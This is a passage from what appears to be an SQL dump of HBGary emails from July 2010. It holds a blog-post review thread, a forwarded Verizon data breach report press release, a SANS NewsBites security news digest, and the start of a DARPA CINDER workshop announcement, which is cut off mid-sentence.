wrote:\r\n\r\n\r\nHi Aaron, Here is the final blogpost. It doesn&#39;t have a title -- do you have one in mind? Thanks again for all your work. Karen\r\nOn Tue, Jul 27, 2010 at 9:09 AM, Aaron barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nLooks good.  I think it reads better if you remove the sentence in the last paragraph that starts with For Example...\r\nAaronSent from my iPad\r\nOn Jul 27, 2010, at 10:08 AM, Karen Burke &lt;karen@hbgary.com&gt; wrote:&gt; Hi Greg and Aaron, Please review final blogpost on Fingerprint. Greg, please review as well -&gt; I want to be sure the tool&#39;s description is close or matches what we plan to put up on our site tomorrow after your talk. We also need to confirm exact spelling of product: Fingerprint or FingerPrint. I want to be sure HBGary is putting out same message on tool. Aaron, please also give it a final review. Thanks so much for writing it. I think it is very good. Once you have both approved, I will give to Charles to post on our site once our tool is released (after Greg&#39;s talk tomorrow around 12 PM PT).\r\n&gt;&gt; I&#39;d also like to repurpose the blog post to pitch interviews for Aaron for the government pubs.Thank you.&gt;&gt;&gt; &lt;Aaron Barr Fingerprint Tool Blogpost.docx&gt;\r\n\r\n\r\n&lt;Aaron Barr Fingerprint Tool Blogpost.docx&gt;\r\n',13541,'aaron_hbgary_com/13541.html'),(9226,'2010-07-28','\"Karen Burke\" <karen@hbgary.com>','/aaron@hbgary.com/new/1297007117.M121550P14101Q4081.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy\" <penny@hbgary.com>','New Verizon Data Breach Report To Be Released Tomorrow July 28th','FYI  Verizon Business is releasing its annual Data Breach Report tomorrow (Wedn. July 28th). It is already starting to get a lot of press tonight as embargo is lifted. Below is a press release on its findings. Will be big talk at BH.  \r\n\r\n \r\n\r\n\r\n\r\n2010 Data Breach Report From Verizon Business, U.S. Secret Service Offers New Cybercrime Insights\r\n \r\n \r\nExpanded Study Finds More Insider Threats, Greater Use of Social Engineering, Continued Strong Organized Criminal Involvement\r\n\r\nBASKING RIDGE, N.J., July 28 /PRNewswire/ -- The 2010 Verizon Data Breach Investigations Report, based on a first-of-its kind collaboration with the U.S. Secret Service, has found that breaches of electronic records last year involved more insider threats, greater use of social engineering and the continued strong involvement of organized criminal groups.\r\n\r\nThe study, released Wednesday (July 28), also noted that the overall number of breaches investigated last year declined from the total for the previous year – &quot;a promising&quot; indication, the study said.\r\n\r\nThe report cited stolen credentials as the most common way of gaining unauthorized access into organizations in 2009, pointing once again to the importance of strong security practices both for individuals and organizations.  Organized criminal groups were responsible for 85 percent of all stolen data last year, the report said.  \r\n\r\nVerizon Business investigative experts found, as they did in the company&#39;s prior data breach reports, that most breaches were considered avoidable if security basics had been followed.  Only 4 percent of breaches assessed required difficult and expensive protective measures.\r\n\r\nThe 2010 report concluded that being prepared remains the best defense against security breaches. For the most part, organizations still remain sluggish in detecting and responding to incidents. Most breaches (60 percent) continue to be discovered by external parties and then only after a considerable amount of time.  And while most victimized organizations have evidence of a breach in their security logs, they often overlook them due to a lack of staff, tools or processes.\r\n\r\nThe collaboration with the Secret Service, announced in May, enabled this year&#39;s Data Breach Investigations Report to provide an expanded view of data breaches over the last six years. With the addition of Verizon&#39;s 2009 caseload and data contributed by the Secret Service -- which investigates financial crimes -- the report covers 900-plus breaches involving more than 900 million compromised records.\r\n\r\n&quot;This year we were able to significantly widen our window into the dynamic world of data breaches, granting us an even broader and deeper perspective,&quot; said Peter Tippett, Verizon Business vice president of technology and enterprise innovation. &quot;By including information from the Secret Service caseload, we are expanding both our understanding of cybercrime and our ability to stop breaches.&quot;  \r\n\r\nMichael Merritt, Secret Service assistant director for investigations, said: &quot;The Secret Service believes that building trusted partnerships between all levels of law enforcement, the private sector and academia has been a proven and successful model for facing the challenges of securing cyberspace.  It is through our collaborative approach with established partnerships that the Secret Service is able to help expand the collective understanding of breaches and continue to augment our advanced detection and prevention efforts.&quot;\r\n\r\n(NOTE:  Additional resources supporting the 2010 data breach report are available, including an audio podcast, video podcast and high-resolution charts and graphs.)\r\n\r\nKey Findings of the 2010 Report\r\nThis year&#39;s key findings both reinforce prior conclusions and offer new insights. These include:  \r\n\r\nMost data breaches investigated were caused by external sources.  Sixty-nine percent of breaches resulted from these sources, while only 11 percent were linked to business partners.  Forty-nine percent were caused by insiders, which is an increase over previous report findings, primarily due in part to an expanded dataset and the types of cases studied by the Secret Service. \r\nMany breaches involved privilege misuse. Forty-eight percent of breaches were attributed to users who, for malicious purposes, abused their right to access corporate information.  An additional 40 percent of breaches were the result of hacking, while 28 percent were due to social tactics and 14 percent to physical attacks. \r\nCommonalities continue across breaches.  As in previous years, nearly all data was breached from servers and online applications. Eight-five percent of the breaches were not considered highly difficult, and 87 percent of victims had evidence of the breach in their log files, yet missed it. \r\nMeeting PCI-DSS compliance still critically important.  Seventy-nine percent of victims subject to the PCI-DSS standard hadn&#39;t achieved compliance prior to the breach.  \r\n\r\nThe State of Cybercrime: 2010 \r\nThe report said the decline in the overall number of data breaches may be due to a number of factors, including &quot;law enforcement&#39;s effectiveness in capturing criminals.&quot;  The report cited the arrest of Albert Gonzalez, one of the world&#39;s most notorious computer hackers, who pleaded guilty to helping run a global ring that stole hundreds of millions of payment card numbers and who was sentenced last year to 20 years in prison.\r\n\r\n&quot;The reduction in breaches is a positive sign that we are gaining some ground in the fight against cybercrime,&quot; said Tippett.  &quot;As we are able to share more information through the use of the VERIS security research framework to gather comparative security data such as the caseload of the Secret Service, we believe we will be even better equipped to arm organizations with best practices, processes, tools and services that will continue to make a difference.&quot;\r\n\r\nData breaches continue to occur within all types of organizations. Financial services, hospitality and retail still comprise the &quot;Big Three&quot; of industries affected (33 percent, 23 percent and 15 percent, respectively) in the merged Verizon-Secret Service dataset, though tech services edged out retail in Verizon&#39;s caseload.  A growing percentage of cases and an astounding 94 percent of all compromised records in 2009 were attributable to financial services.\r\n\r\nMore than half of the breaches investigated by Verizon in 2009 occurred outside the U.S., while the bulk of the breaches investigated by the Secret Service occurred in the U.S.  The report finds no correlation between an organization&#39;s size and its chances of suffering a data breach.\r\n\r\n&quot;Thieves are more likely to select targets based on the perceived value of the data and cost of attack than victim characteristics such as size,&quot; Verizon researchers noted.\r\nRecommendations for Enterprises \r\nThe 2010 study once again shows that simple actions, when done diligently and continually, can reap big benefits. These actions include:\r\n\r\nRestrict and monitor privileged users. The data from the Secret Service showed that there were more insider breaches than ever before. Insiders, especially highly privileged ones, can be difficult to control. The best strategies are to trust but verify by using pre-employment screening; limit user privileges; and employ separation of duties. Privilegeduse should be logged and messages detailing activity generated to management. \r\nWatch for &#39;Minor&#39; Policy Violations. The study finds a correlation between seemingly minor policy violations and more serious abuse. This suggests that organizations should be wary of and adequately respond to all violations of an organization&#39;s policies.  Based on case data, the presence of illegal content on user systems or other inappropriate behavior is a reasonable indicator of a future breach. Actively searching for such indicators may prove even more effective. \r\nImplement Measures to Thwart Stolen Credentials. Keeping credential-capturing malware off systems is priority No. 1. Consider two-factor authentication where appropriate. If possible, implement time-of-use rules, IP blacklisting and restricting administrative connections. \r\nMonitor and Filter  Outbound Traffic. At some point during the sequence of events in many breaches, something (data, communications, connections) goes out externally via an organization&#39;s network that, if prevented, could break the chain and stop the breach. By monitoring, understanding and controlling outbound traffic, an organization can greatly increase its chances of mitigating malicious activity. \r\nChange Your Approach to Event Monitoring and Log Analysis. Almost all victims have evidence of the breach in their logs. It doesn&#39;t take much to figure out that something is amiss and make needed changes.  Organizations should make time to review more thoroughly batch-processed data and analysis of logs. Make sure there are enough people, adequate tools and sufficient processes in place to recognize and respond to anomalies. \r\nShare Incident Information. An organization&#39;s ability to fully protect itself is based on the information available to do so.  Verizon believes the availability and sharing of information are crucial in the fight against cybercrime.  We commend all those organizations that take part in this effort, through such data-sharing programs as the Verizon VERIS Framework.\r\n\r\nA complete copy of the &quot;2010 Data Breach Investigations Report&quot; is available at http://www.verizonbusiness.com/go/2010databreachreport/.\r\n\r\nAbout the United States Secret Service\r\nWell known for protecting the nation&#39;s leaders, the U.S. Secret Service also is responsible for protecting America&#39;s financial infrastructure.  The Secret Service has taken a lead role in mitigating the threat of financial crimes since the agency&#39;s inception in 1865.  As technology has evolved, the scope of the U.S. Secret Service&#39;s mission has expanded from its original counterfeit currency investigations to also include emerging financial crimes.   As a component agency within the U.S. Department of Homeland Security, the U.S. Secret Service has established successful partnerships in both the law enforcement and business communities – across the country and around the world – in order to effectively combat financial crimes.    \r\n\r\nAbout Verizon Business\r\nVerizon Business, a unit of Verizon Communications (NYSE, Nasdaq: VZ), is a global leader in communications and IT solutions. We combine professional expertise with one of the world&#39;s most connected IP networks to deliver award-winning communications, IT, information security and network solutions.  We securely connect today&#39;s extended enterprises of widespread and mobile customers, partners, suppliers and employees– enabling them to increase productivity and efficiency and help preserve the environment.  Many of the world&#39;s largest businesses and governments – including 96 percent of the Fortune 1000 and thousands of government agencies and educational institutions – rely on our professional and managed services and network technologies to accelerate their business. Find out more at www.verizonbusiness.com.\r\n\r\nVERIZON&#39;S ONLINE NEWS CENTER: Verizon news releases, executive speeches and biographies, media contacts, high-quality video and images, and other information are available at Verizon&#39;s News Center on the World Wide Web at www.verizon.com/news.  To receive news releases by e-mail, visit the News Center and register for customized automatic delivery of Verizon news releases.\r\n\r\n\r\nSOURCE Verizon Business\r\n',10340,'aaron_hbgary_com/10340.html'),(9227,'2010-07-28','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007117.M349400P14101Q4082.eml','\"Greg Hoglund\" <greg@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: SANS NewsBites Vol. 12 Num. 59 : UK Launches Cyber Security 	Challenge','See below.  TECHNICIAN TESTIFIES THAT PCS ON DOOMED OIL RIG TROUBLED BY\r\nBLUE SCREEN OF DEATH - wow talk about feeding my theory about that hackers\r\ncould have caused the oil disaster in the gulf...\r\n\r\n-----Original Message-----\r\nFrom: <The SANS Institute [mailto:NewsBites@sans.org]\r\nSent: Tuesday, July 27, 2010 6:10 PM\r\nTo: rich@hbgary.com\r\nSubject: SANS NewsBites Vol. 12 Num. 59 : UK Launches Cyber Security\r\nChallenge\r\n\r\n-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\n*************************************************************************\r\nSANS NewsBites                 July 27, 2010             Vol. 12, Num. 59\r\n*************************************************************************\r\nTOP OF THE NEWS\r\n  Google Obtains Government Security Clearance for Cloud Services\r\n  UK Launches Cyber Security Challenge\r\n\r\n\r\n  TECHNICIAN TESTIFIES THAT PCS ON DOOMED OIL RIG TROUBLED BY BLUE SCREEN\r\nOF DEATH\r\n\r\n\r\n\r\n\r\n  SCADA Systems in Iran Hardest Hit by Stuxnet Worm\r\n  Siemens Offers Stuxnet Removal Tool, Warns of Potential for Disruptions\r\nTHE REST OF THE WEEK\'S NEWS\r\n    Leaked Afghanistan War Document Archive Spans Six Years\r\n    Jailbreaking iPhones Does Not Violate DMCA\r\n    UAE Says Blackberries May be Security Threat\r\n    Man Admits to Infecting Thousands of Computers With Malware\r\n    Mozilla Updates Firefox for Second Time in a Week\r\n    Dell Blames Infected Replacement Motherboards on Human Error\r\n    UK Ministry of Defense Lost 240 Laptops in Two Years\r\n\r\n************************ Sponsored By IBM (ISS) **************************\r\n\r\nPCI compliance is a challenge for midsize and large companies alike, as\r\nthere are four phases to meeting the PCI DSS requirements: assessment,\r\nremediation, compliance and maintenance. Read this white paper as IBM\r\nreveals five key \'sticking points\' organizations have been facing on the\r\npath to PCI DSS compliance.\r\nhttp://www.sans.org/info/62668\r\n\r\n**************************************************************************\r\n*\r\nTRAINING UPDATE\r\n- -- SANS Boston 2010, August 2-9, 2010\r\n10 courses.  Special Events includes Rapid Response Security Strategy\r\nCompetition; Bonus evening presentations include Exploit Discovery and\r\nDevelopment; Embedded System Hacking and My Plot to Take Over the\r\nWorld\r\nhttp://www.sans.org/boston-2010/\r\n- -- SANS Virginia Beach 2010, August 27-September 3, 2010\r\n9 courses.  Bonus evening presentations include Future Trends in\r\nNetwork Security; Hack Back! The Advanced Persistent Threat; and\r\nSecuring the Human.\r\nhttp://www.sans.org/virginia-beach-2010/\r\n- -- SANS Network Security 2010, Las Vegas, September 19-27, 2010\r\n40 courses. Bonus evening presentations include The Return of Command\r\nLine Kung Fu and Cyberwar or Business as Usual? The State of US\r\nFederal CyberSecurity Initiatives\r\nhttp://www.sans.org/network-security-2010/\r\n- -- SOS: SANS October Singapore, October 4-11, 2010\r\n7 courses\r\nhttp://www.sans.org/singapore-sos-2010/\r\n- -- Looking for training in your own community?\r\nhttp://sans.org/community/\r\nSave on On-Demand training (30 full courses) - See samples at\r\nhttp://www.sans.org/ondemand/discounts.php#current\r\nPlus Washington DC, Portland, London, Dubai and Bangalore all in the\r\nnext 90 days.\r\nFor a list of all upcoming events, on-line and live: www.sans.org\r\n\r\n*************************************************************************\r\n\r\nTOP OF THE NEWS\r\n --  Google Obtains Government Security Clearance for Cloud Services\r\n(July 26 & 27, 2010)\r\nGoogle has obtained security clearance to sell its cloud computing\r\nservices to the US federal government.  The clearance given to Google\r\nApps for Government does not apply to classified government data.\r\nGoogle is hopeful now that it has obtained clearance for federal\r\ngovernment use, government agencies at the state and local levels will\r\nalso consider using its products.  The clearance marks the first time\r\nthe US government has given approval for the use of online software.\r\nhttp://www.latimes.com/business/la-fi-google-apps-20100727,0,5765918.story\r\nhttp://www.msnbc.msn.com/id/38416304/ns/technology_and_science-security/\r\nhttp://www.theregister.co.uk/2010/07/26/google_apps_for_government/\r\n\r\n --  UK Launches Cyber Security Challenge\r\n(July 26, 2010)\r\nThe UK has launched its Cyber Security Challenge to identify the next\r\ngeneration of cyber security talent.  The challenge also draws attention\r\nto a field that is sorely in need of increasing its skilled workforce.\r\nThe challenge comprises several competitions.  One of the competitions\r\nis a virtual treasure hunt in which participants will look for\r\nvulnerabilities in a specially-crafted website.  That competition will\r\ntake place on several designated days between September and December\r\n2010.  A second challenge will have teams of competitors taking over a\r\nsimulated network and defending it against attacks launched by\r\nprofessionals.  The third competition is a team digital forensics\r\nchallenge.  The strongest competitors will receive vouchers for\r\nuniversity study, special cyber security training courses and\r\ninternships at companies.  Registration for the competitions began on\r\nMonday, July 26.\r\nCyber Security Challenge Web Site: https://cybersecuritychallenge.org.uk/\r\nhttp://www.pcworld.com/businesscenter/article/201846/uk_launches_computer_\r\nsecurity_training_exercises.html\r\nhttp://www.bbc.co.uk/news/technology-10742588\r\nhttp://www.zdnet.co.uk/news/security/2010/07/26/cyber-security-challenge-k\r\nicks-off-40089645/\r\n[Editor\'s Note (Honan): The teaser challenge appears to have been\r\ncracked already\r\nhttp://www.theregister.co.uk/2010/07/27/uk_challenge_cipher_cracked/?utm_s\r\nource=twitterfeed&utm_medium=twitter]\r\n\r\n --  Technician Testifies that PCs on Doomed Oil Rig Troubled by Blue\r\n    Screen of Death\r\n(July 23, 2010)\r\nThe chief electronics technician on the Deepwater Horizon oil rig has\r\ntestified that a computer on the rig that monitored and controlled\r\ndrilling operations had been freezing up and experiencing the blue\r\nscreen of death before the rig\'s explosion that marked the beginning of\r\nthe oil leak in the Gulf Coast.  The freezes meant the driller did not\r\nhave access to necessary information about the well.  Michael Williams,\r\nwho is a former Marine, also said that the safety alarm aboard the\r\ndeepwater horizon had been switched to a bypass mode to avoid waking\r\nsleeping crew members.  The safety alarm was to alert the crew to\r\ndangerous levels of combustible gases.\r\nhttp://www.washingtonpost.com/wp-dyn/content/article/2010/07/23/AR20100723\r\n05419.html?hpid=topnews\r\nhttp://www.computerworld.com/s/article/9179595/Tech_worker_testifies_of_bl\r\nue_screen_of_death_on_oil_rig_s_computer?taxonomyId=83\r\n[Editor\'s Note (Shultz): This sad story once again points to the\r\nimportance of operating system resilience and reliability in critical\r\noperational systems.]\r\n\r\n --  SCADA Systems in Iran Hardest Hit by Stuxnet Worm\r\n(July 23, 2010)\r\nDetails about the attacks involving the Stuxnet worm continue to emerge.\r\nThe worm targets systems running certain supervisory control and data\r\nacquisition (SCADA) software.  The malware appears to be designed with\r\nthe capability of stealing proprietary information from the companies\r\nwhose systems it infects.  The malware spreads through USB drives.  It\r\nexploits an unpatched vulnerability, uses real digital certificates, and\r\nis tailored to search for specific SCADA systems and download their\r\nsystems\' operations histories.  The malware affected systems in Iran,\r\nIndonesia, India, Ecuador, the US, Pakistan and Taiwan; Iran is believed\r\nto be the hardest hit.\r\nhttp://www.csmonitor.com/USA/2010/0723/Stuxnet-spyware-targets-industrial-\r\nfacilities-via-USB-memory-stick\r\nhttp://www.computerworld.com/s/article/9179618/Iran_was_prime_target_of_SC\r\nADA_worm?source=rss_newss\r\n\r\n -- Siemens Offers Stuxnet Removal Tool, Warns of Potential for\r\nDisruptions\r\n(July 22, 2010)\r\nSiemens, the company that manufactures the SCADA software targeted by\r\nthe Stuxnet worm, has made available a program called Sysclean that\r\ndetects and removes the malware, but warns that because each facility\r\nis individually configured, the malware removal program could cause\r\nunforeseen problems.  Siemens has taken flak recently for not fixing the\r\ndefault password flaw exploited by the malware when the problem was\r\nfirst disclosed two years ago.\r\nhttp://www.theregister.co.uk/2010/07/22/siemens_scada_worm/\r\nhttp://www.computerworld.com/s/article/9179551/Siemens_Removing_SCADA_worm\r\n_may_harm_industrial_systems?taxonomyId=145\r\n[Editor\'s Comment (Northcutt): It wasn\'t that long ago, that you had\r\ntrouble finding real world story that proved we needed to harden SCADA\r\nsystems. You would go to security presentations to hear the Vitek Boden\r\nsewage release story *again*. Looking back I kind of miss those days.\r\nhttp://ddanchev.blogspot.com/2006/10/scada-security-incidents-and-critical\r\n.html ]\r\n\r\n****************************  SPONSORED LINKS  **************************\r\n1) Attend the SANS WhatWorks in Virtualization and Cloud Computing\r\nSummit and discover real-world solutions for securing your virtual\r\ninfrastructure recommended by experts and deployed by your peers.\r\nhttp://www.sans.org/info/62673\r\n\r\n2) Did you miss an important SANS webcast event?\r\nAvailable on demand today:\r\nWhatWorks Webcast with Alan Paller - Moving 100% into the Cloud Securely\r\nhttp://www.sans.org/info/62678\r\n*************************************************************************\r\n\r\nTHE REST OF THE WEEK\'S NEWS\r\n --  Leaked Afghanistan War Document Archive Spans Six Years\r\n(July 25, 26 & 27, 2010)\r\nTens of thousands of secret documents about the war in Afghanistan have\r\nbeen leaked on the WikiLeaks site.  The source of the leaks has not been\r\nidentified, but suspicion has fallen on Pfc Bradley Manning, who earlier\r\nthis year was arrested for allegedly leaking about 260,000 diplomatic\r\ncables and video footage of a US airstrike in Iraq.  The Afghanistan\r\ndocuments cover six years and the information they contain has been\r\ndescribed as \"more grim\" than what is offered through traditional news\r\nsources.  Unsurprisingly, the government has been giving more attention\r\nto the \"scale and scope\" of the leak itself rather than to the content\r\nof the documents, saying that the documents contained little or no new\r\ninformation.\r\nhttp://www.washingtonpost.com/wp-dyn/content/article/2010/07/26/AR20100726\r\n05657_pf.html\r\nhttp://www.google.com/hostednews/afp/article/ALeqM5is8LYL2vSAA3htYM4JeqQ_p\r\nygAyQ\r\nhttp://www.nytimes.com/2010/07/26/world/asia/26warlogs.html?scp=4&sq=wikil\r\neaks&st=cse\r\n\r\n --  Jailbreaking iPhones Does Not Violate DMCA\r\n(July 26, 2010)\r\nUS federal regulators have said that jailbreaking Apple iPhones is not\r\na violation of the Digital Millennium Copyright Act (DMCA).  The USA\r\nLibrarian of Congress and the US Copyright Office decide every three\r\nyears on a list of proposed exemptions to 1998\'s DMCA.  The Copyright\r\nOffice said of the iPhone that \"while a copyright holder might try to\r\nrestrict the programs that can be run on a particular operating system,\r\ncopyright law is not the vehicle for imposition of such restrictions.\"\r\nThe decision, issued on Monday, July 26, covers all smart phones, but\r\ndoes not apply to iPads.\r\nhttp://www.wired.com/threatlevel/2010/07/feds-ok-iphone-jailbreaking/\r\nhttp://www.wired.com/images_blogs/threatlevel/2010/07/dmcaexemps.pdf\r\n[Editor\'s note (Pescatore): This mostly means Apple can\'t use DMCA as a\r\nthreat in sending out cease and desist letters to sites hosting\r\njailbreaking tools, and there hasn\'t been much evidence Apple was doing\r\nthat anyway. This doesn\'t change Apple\'s ability to run an application\r\nstore, nor does it mean enterprises should look positively at any phone\r\nor PC that is running modified versions of vendor operating systems.]\r\n\r\n --  UAE Says Blackberries May be Security Threat\r\n(July 26, 2010)\r\nThe United Arab Emirates has said that BlackBerry smartphones are\r\npotential security threats.  According to a UAE government statement,\r\nthe BlackBerry \"operates beyond the jurisdiction of national legislation\r\nsince it is the only device ... that exports its data off-shore and is\r\nmanaged by a foreign commercial organization.\"  The UAE may decide to\r\nmonitor or restrict Blackberry use in that country.  Research in Motion,\r\nBlackberry\'s parent company, uses encrypted networks, which frustrates\r\nthe UAE\'s efforts to monitor communications.  In June 2009, a large UAE\r\nmobile operator attempted to get BlackBerry users to install an update\r\nthat RIM maintains was spyware.\r\nhttp://www.cnn.com/2010/TECH/mobile/07/26/uae.blackberry.review/index.html\r\nhttp://www.bbc.co.uk/news/technology-10761210\r\nhttp://www.npr.org/templates/story/story.php?storyId=128767715\r\n[Editor\'s Note (Pescatore): Generally, governments don\'t like RIM\'s\r\narchitecture because it is very difficult for them to have visibility\r\ninto email carried by RIM. This is generally a good thing from the email\r\nuser\'s perspective, but each country makes its own decisions on the\r\nbalance between privacy and government surveillance.]\r\n\r\n --  Man Admits to Infecting Thousands of Computers With Malware\r\n(July 26, 2010)\r\nAn Australian man has admitted to infecting 74,000 computers and\r\nstealing bank and credit card information.  Anthony Scott Harrison\r\npleaded guilty to modifying computer data to cause harm or\r\ninconvenience, possession and control of data to commit a serious\r\ncomputer offense and dishonestly manipulating a machine for his own\r\nbenefit.  The 20 year old created malware capable of accessing bank\r\naccounts around the world.\r\nhttp://www.securecomputing.net.au/News/220989,adelaide-hacker-pleads-guilt\r\ny-to-infecting-3000-pcs.aspx\r\nhttp://www.news.com.au/technology/computer-virus-created-by-anthony-scott-\r\nharrison-sparked-worldwide-alert/story-e6frfrnr-1225897175334\r\n\r\n --  Mozilla Updates Firefox for Second Time in a Week\r\n(July 26, 2010)\r\nMozilla pushed out Firefox 3.6.8 to address a critical vulnerability in\r\nthe browser just days after the company issued Firefox 3.6.7 to address\r\n14 vulnerabilities.  The problem addressed in the most recent release\r\nis a crash with signs of memory corruption caused by a fix in version\r\n3.6.7 for a plug-in parameter array crash.\r\nhttp://www.h-online.com/security/news/item/Mozilla-releases-Firefox-3-6-8-\r\nto-close-critical-vulnerability-1044973.html\r\nhttp://www.theregister.co.uk/2010/07/26/firefox_plug_in_stability_update/\r\nhttp://www.informationweek.com/blog/main/archives/2010/07/mozilla_patches.\r\nhtml\r\nhttp://www.mozilla.org/security/announce/2010/mfsa2010-48.html\r\nhttp://www.mozilla.com/en-US/firefox/3.6.8/releasenotes/\r\n\r\n --  Dell Blames Infected Replacement Motherboards on Human Error\r\n(July 23, 2010)\r\nThe spyware embedded in the flash memory of certain replacement server\r\nmotherboards from Dell has been blamed on human error, according to the\r\ncompany.  Dell has not offered any specific information about how the\r\nmalware was introduced into the products, but did say that it has\r\nestablished procedures to improve processes.\r\nhttp://www.theregister.co.uk/2010/07/23/dell_malware_update/\r\n[Editor\'s Note (Pescatore): As opposed to vegetable or mineral error?\r\nThis was corporate error, and corporations are composed of humans - at\r\nleast so far. Failure to detect malware in a shipping product is a\r\ncorporate error.]\r\n\r\n --UK Ministry of Defense Lost 240 Laptops in Two Years\r\n(July 22, 2010)\r\nAccording to statistics obtained through the UK\'s freedom of Information\r\nAct, the UK Ministry of Defense (MoD) lost 340 laptop computers over the\r\ncourse of two years.  The majority of the computers were not encrypted;\r\ntheir total value has been estimated at GBP 620,000 (US $960,000).   In\r\naddition, MoD reported missing 593 CDs, DVDs and floppy disks, 215\r\nmemory sticks, 96 removable disk drives and 13 mobile phones.  Of the\r\nmissing laptops, 220 were lost and 120 were stolen.\r\nhttp://www.dailymail.co.uk/news/article-1296773/MoD-loses-staggering-340-l\r\naptop-computers-TWO-YEARS--encrypted.html?ito=feeds-newsxml\r\nhttp://darkreading.com/insiderthreat/security/storage/showArticle.jhtml?ar\r\nticleID=226200295&subSection=Storage+security\r\n\r\n**********************************************************************\r\nThe Editorial Board of SANS NewsBites\r\n\r\nEugene Schultz, Ph.D., CISM, CISSP is CTO of Emagined Security and the\r\nauthor/co-author of books on Unix security, Internet security, Windows\r\nNT/2000 security, incident response, and intrusion detection and\r\nprevention. He was also the co-founder and original project manager of\r\nthe Department of Energy\'s Computer Incident Advisory Capability (CIAC)\r\n\r\nJohn Pescatore is Vice President at Gartner Inc.; he has worked in\r\ncomputer and network security since 1978.\r\n\r\nStephen Northcutt founded the GIAC certification and currently serves\r\nas President of the SANS Technology Institute, a post graduate level IT\r\nSecurity College, www.sans.edu.\r\n\r\nProf. Howard A. Schmidt is the Cyber Coordinator for the President of\r\nthe United States\r\n\r\nDr. Johannes Ullrich is Chief Technology Officer of the Internet Storm\r\nCenter and Dean of the Faculty of the graduate school at the SANS\r\nTechnology Institute.\r\n\r\nEd Skoudis is co-founder of Inguardians, a security research and\r\nconsulting firm, and author and lead instructor of the SANS Hacker\r\nExploits and Incident Handling course.\r\n\r\nRob Lee is the curriculum lead instructor for the SANS Institute\'s\r\ncomputer forensic courses (computer-forensics.sans.org) and a Director\r\nat the incident response company Mandiant.\r\n\r\nRohit Dhamankar is the Director of Security Research at TippingPoint,\r\nwhere he leads the Digital Vaccine and ThreatLinQ groups. His group\r\ndevelops protection filters to address vulnerabilities, viruses, worms,\r\nTrojans, P2P, spyware, and other applications for use in TippingPoint\'s\r\nIntrusion Prevention Systems.\r\n\r\nTom Liston is a Senior Security Consultant and Malware Analyst for\r\nInguardians, a handler for the SANS Institute\'s Internet Storm Center,\r\nand co-author of the book Counter Hack Reloaded.\r\n\r\nDr. Eric Cole is an instructor, author and fellow with The SANS\r\nInstitute. He has written five books, including Insider Threat and he\r\nis a senior Lockheed Martin Fellow.\r\n\r\nRon Dick directed the National Infrastructure Protection Center (NIPC)\r\nat the FBI and is the incoming President of the InfraGard National\r\nMembers Alliance - with 22,000 members.\r\n\r\nMason Brown is one of a very small number of people in the information\r\nsecurity field who have held a top management position in a Fortune 50\r\ncompany (Alcoa).  He is leading SANS\' global initiative to improve\r\napplication security.\r\n\r\nDavid Hoelzer is the director of research & principal examiner for\r\nEnclave Forensics and a senior fellow with the SANS Technology\r\nInstitute.\r\n\r\nMark Weatherford, CISSP, CISM, is Chief Information Security Officer of\r\nthe State of California.\r\n\r\nAlan Paller is director of research at the SANS Institute.\r\n\r\nMarcus J. Ranum built the first firewall for the White House and is\r\nwidely recognized as a security products designer and industry\r\ninnovator.\r\n\r\nClint Kreitner is the founding President and CEO of The Center for\r\nInternet Security.\r\n\r\nBrian Honan is an independent security consultant based in Dublin,\r\nIreland.\r\n\r\nDavid Turley is SANS infrastructure manager and serves as production\r\nmanager and final editor on SANS NewsBites.\r\n\r\nPlease feel free to share this with interested parties via email, but\r\nno posting is allowed on web sites. For a free subscription, (and for\r\nfree posters) or to update a current subscription, visit\r\nhttp://portal.sans.org/\r\n\r\n\r\n\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.9 (Darwin)\r\n\r\niEYEARECAAYFAkxPRPkACgkQ+LUG5KFpTkaePQCgo6I3Ay5PaBrZdWIB/rgHrvju\r\nyxQAnRUvt3cebH8onk6wxUWi5oM9AHai\r\n=S6oO\r\n-----END PGP SIGNATURE-----\r\n',4608,'aaron_hbgary_com/4608.html'),(9228,'2010-07-28','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297007117.M637990P14101Q4083.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','FW: - Save the Date- CINDER Industry Day Workshop','Don\'t know if you all received this BAA.\r\n\r\n-----Original Message-----\r\nFrom: DARPA-BAA-10-84 [mailto:DARPA-BAA-10-84@darpa.mil]\r\nSent: Monday, July 26, 2010 1:21 PM\r\nSubject: - Save the Date- CINDER Industry Day Workshop\r\n\r\nOn behalf of Peiter \"Mudge\" Zatko, we are pleased to announce the\r\nCyber-Insider (CINDER) Industry Day Workshop. The Defense Advanced\r\nResearch Projects Agency (DARPA) will host two Proposers\' Day Workshops in\r\nsupport of the new DARPA-BAA-10-84, Cyber-Insider (CINDER) program. These\r\nworkshops will be held on both the East and West cost.\r\n\r\nThe East Cost Proposer\'s Day Workshop: August 31, 2010 at System Planning\r\nCorporation, 3601 Wilson Blvd, Apt 500, Arlington, VA 22201 from 8:00 AM\r\nto 5:00 PM (EST). The West Cost Proposer\'s Day Workshop has been\r\ntentatively scheduled for Sept 2, 2010 in the San Francisco area (more\r\ndetails to follow)\r\n\r\nMeeting details and registration information will be included in future\r\nemails.\r\n\r\nThe CINDER workshops will:\r\n*	Introduce the program manager\r\n*	Provide information on the Cyber-Insider Program\r\n*	Answer questions about working with DARPA\r\n*	Facilitate meetings with potential partners (and competitors)\r\n*	Facilitate networking and teaming opportunities\r\n*	Promote a hacker approach to insider threat detection\r\n\r\nThe Cyber Insider Threat (CINDER) program will develop novel approaches to\r\ndetect ongoing activities within government and military interest systems\r\nand networks  that are conducted in support of adversary goals. The goal\r\nof CINDER will be to greatly increase the accuracy, rate and speed with\r\nwhich insider threat missions are detected and impede the ability of\r\nadversaries to conduct missions undetected within government and military\r\ninterest networks. Attendance to the workshop is not required to propose\r\nto DARPA-BAA-10-84.\r\n\r\nThe CINDER Workshop is open to all U.S. Citizens and intended for a wide\r\nrange of potential performers. Interested individuals, consultants, small\r\nbusinesses, laboratories, and universities with applicable backgrounds are\r\nexpressly invited.  These workshops are not intended for 